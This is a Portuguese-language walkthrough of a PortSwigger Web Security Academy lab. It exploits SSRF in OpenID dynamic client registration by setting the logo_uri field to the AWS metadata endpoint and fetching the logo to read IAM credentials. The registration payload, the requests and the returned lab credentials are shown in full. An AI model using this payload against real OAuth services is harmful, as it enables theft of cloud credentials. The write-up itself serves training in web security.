> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/oauth-authentication/ssrf-via-openid-dynamic-client-registration.md).

# SSRF via registro dinâmico de cliente OpenID

Notas sobre SSRF via registro dinâmico de cliente OpenID para os laboratórios do PortSwigger Web Security Academy, incluindo fluxo de exploração, teste de payload, validação no Burp Suite e contexto de remediação.

### SSRF via Registro Dinâmico de Cliente OpenID

**Objetivo do laboratório**

Este laboratório opera um recurso de registro dinâmico de cliente OpenID\*\*. Alguns dos dados fornecidos pelo cliente são usados sem proteção pelo serviço OAuth, o que abre caminho para um **SSRF**.

O objetivo é explorar essa falha para acessar o seguinte endpoint interno e recuperar o segredo **chave de acesso à nuvem** do provedor OAuth:

* `HTTP://169.254.169.254/latest/meta-data/iam/security-credentials/admin/`

**Acesso inicial**

Você pode se conectar com uma conta de usuário padrão:

* **Identificador**: wiener
* **Senha**: peter

**Descoberta OpenID**

Analisando o feed do OAuth, identificamos o endpoint padrão de configuração OpenID:

```bash
/.well-known/openid-configuration
```

Este recurso apresenta todos os endpoints usados pelo provedor OAuth, incluindo:

{% code overflow="wrap" %}

```json
{"authorization_endpoint":"http://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net/auth","claims_parameter_supported":false,"claims_supported":["sub","name","email","email_verified","sid","auth_time","iss"],"code_challenge_methods_supported":["S256"],"end_session_endpoint":"http://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net/session/end","grant_types_supported":["authorization_code","refresh_token"],"id_token_signing_alg_values_supported":["HS256","ES256","EdDSA","PS256","RS256"],"issuer":"https://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net","jwks_uri":"http://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net/jwks","registration_endpoint":"http://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net/reg","response_modes_supported":["form_post","fragment","query"],"response_types_supported":["code"],"scopes_supported":["openid","offline_access","profile","email"],"subject_types_supported":["public"],"token_endpoint_auth_methods_supported":["none","client_secret_basic","client_secret_jwt","client_secret_post","private_key_jwt"],"token_endpoint_auth_signing_alg_values_supported":["HS256","RS256","PS256","ES256","EdDSA"],"token_endpoint":"http://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net/token","request_object_signing_alg_values_supported":["HS256","RS256","PS256","ES256","EdDSA"],"request_parameter_supported":false,"request_uri_parameter_supported":true,"require_request_uri_registration":true,"userinfo_endpoint":"http://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net/me","userinfo_signing_alg_values_supported":["HS256","ES256","EdDSA","PS256","RS256"],"introspection_endpoint":"http://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net/token/introspection","introspection_endpoint_auth_methods_supported":["none","client_secret_basic","client_secret_jwt","client_secret_post","private_key_jwt"],"introspection_endpoint_auth_signing_alg_values_supported":["HS256","RS256","PS256","ES256","EdDSA"],"revocation_endpoint":"http://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net/token/revocation","revocation_endpoint_auth_methods_supported":["none","client_secret_basic","client_secret_jwt","client_secret_post","private_key_jwt"],"revocation_endpoint_auth_signing_alg_values_supported":["HS256","RS256","PS256","ES256","EdDSA"],"claim_types_supported":["normal"]}
```

{% endcode %}

* `authorization_endpoint`
* `token_endpoint`
* `userinfo_endpoint`
* **`registration_endpoint`**

O campo-chave aqui é:

```
/reg
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c94afa47c3620790818cb6b0324be8fe8dc9b51a%2Fimage%20(190).png?alt=media" alt=""><figcaption></figcaption></figure>

Ele permite o registro dinâmico de novos clientes.

```http
{
    "application_type": "web",
    "redirect_uris": [
        "https://client-app.com/callback",
        "https://client-app.com/callback2"
        ],
    "client_name": "Minha Aplicação",
    "logo_uri": "https://client-app.com/logo.png",
    "token_endpoint_auth_method": "client_secret_basic",
    "jwks_uri": "https://client-app.com/my_public_keys.jwks",
    "userinfo_encrypted_response_alg": "RSA1_5",
    "userinfo_encrypted_response_enc": "A128CBC-HS256",
    …
}
```

**Registro de Cliente OAuth**

Uma solicitação é interceptada para `/reg` e convertida em uma **POST** solicitação com o cabeçalho:

```http
Content-Type: application/json
```

Um registro mínimo funciona com um JSON bem simples:

```json
{
    "redirect_uris": [
        "https://test.com"
        ]
}
```

O servidor responde criando uma nova aplicação OAuth e retorna, em particular:

* `client_id`
* `client_secret`
* `registration_client_uri`
* `registration_access_token`

Isso confirma que o registro dinâmico está ativo e não é restritivo.

{% code overflow="wrap" %}

```json
{"application_type":"web","grant_types":["authorization_code"],"id_token_signed_response_alg":"RS256","post_logout_redirect_uris":[],"require_auth_time":false,"response_types":["code"],"subject_type":"public","token_endpoint_auth_method":"client_secret_basic","introspection_endpoint_auth_method":"client_secret_basic","revocation_endpoint_auth_method":"client_secret_basic","require_signed_request_object":false,"request_uris":[],"client_id_issued_at":1767127526,"client_id":"TL-B3vvYBc42Yju2-uZqV","client_secret_expires_at":0,"client_secret":"RVzHE-YNMkqwYdhd76jdL92wmVCNdV7Ir3z4QtEM3m2lptEEZJEbl-JxCuz7UogeAtpIFlxSqGp-GnHARBZBEQ","redirect_uris":["https://test.com"],"registration_client_uri":"http://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net/reg/TL-B3vvYBc42Yju2-uZqV","registration_access_token":"On2Y_5DyRBtlz4QPmRbTogHoSp8ihSvLTC_ntt6c6Vz"}
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-69609792054f039926a071a6b0ec017884f5efdd%2Fimage%20(191).png?alt=media" alt=""><figcaption></figcaption></figure>

**Injeção SSRF via `logo_uri`**

O `logo_uri` campo, projetado para carregar uma imagem associada ao cliente, é particularmente interessante. / Ele é recuperado no lado do servidor sem validação rigorosa da URL.

Um novo cliente é registrado com um `logo_uri` apontando para o IP interno da AWS:

```json
{
  "redirect_uris": [
    "https://jord4n.pro"
  ],
  "logo_uri": "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/"
}
```

O servidor aceita a solicitação e retorna um novo `client_id`.

**Acesso ao logo do cliente**

Cada cliente tem um endpoint para recuperar seu logo:

```
GET /client/<client_id>/logo
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-15e93ba0f3933b3d7ae29ef3f9b5298b54898977%2F%7BD3C517F5-2320-4859-AEC8-7754F14C4BBF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```http
GET /client/1767128152/logo
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cc1dee5b548f0d4c70c3ecd60fd1b651e0167edc%2Fimage%20(193).png?alt=media" alt=""><figcaption></figcaption></figure>

Usando o `client_id` obtido anteriormente:

```http
GET /client/4skHDyCgn9b1zvT-JBTin/logo
```

**Exfiltração de metadados da AWS**

A resposta não contém uma imagem, mas diretamente as \*\*credenciais IAM internas\*\*:

```json
{
  "Code" : "Success",
  "LastUpdated" : "2025-12-31T18:55:47.398604832Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "TKrZh1liWrDBDSltdlG9",
  "SecretAccessKey" : "pY0oqQBOuKYc77nrZrFHriyySRf12bPnf4EyBTd0",
  "Token" : "nGndN1NnGYkE6XEumqF4iZiD7qqa1VyOXSm5T6I7VRolft4b6Hc2zppqjZJFIhPJH0ZhTAYfoUe8edUbDvDkLjd0idSJlJggjp6BZAjEOqsSFHAZ9qBXUur878LdUfxk12joCYbDYYcpw0y5tHNIHx7sqZaEUlv0tukYqgVXwjweiVr2aahtizQl58akErD0kFUdqEe0YDhWwRigaSAKGdDsMKNOK5SX8iwpK8Vq6mBy45Xkrx4Xt4ZC8XPn6ulX",
  "Expiration" : "2031-12-30T18:55:47.398604832Z"
}
```

`SecretAccessKey` é o valor esperado para validar o laboratório.


---

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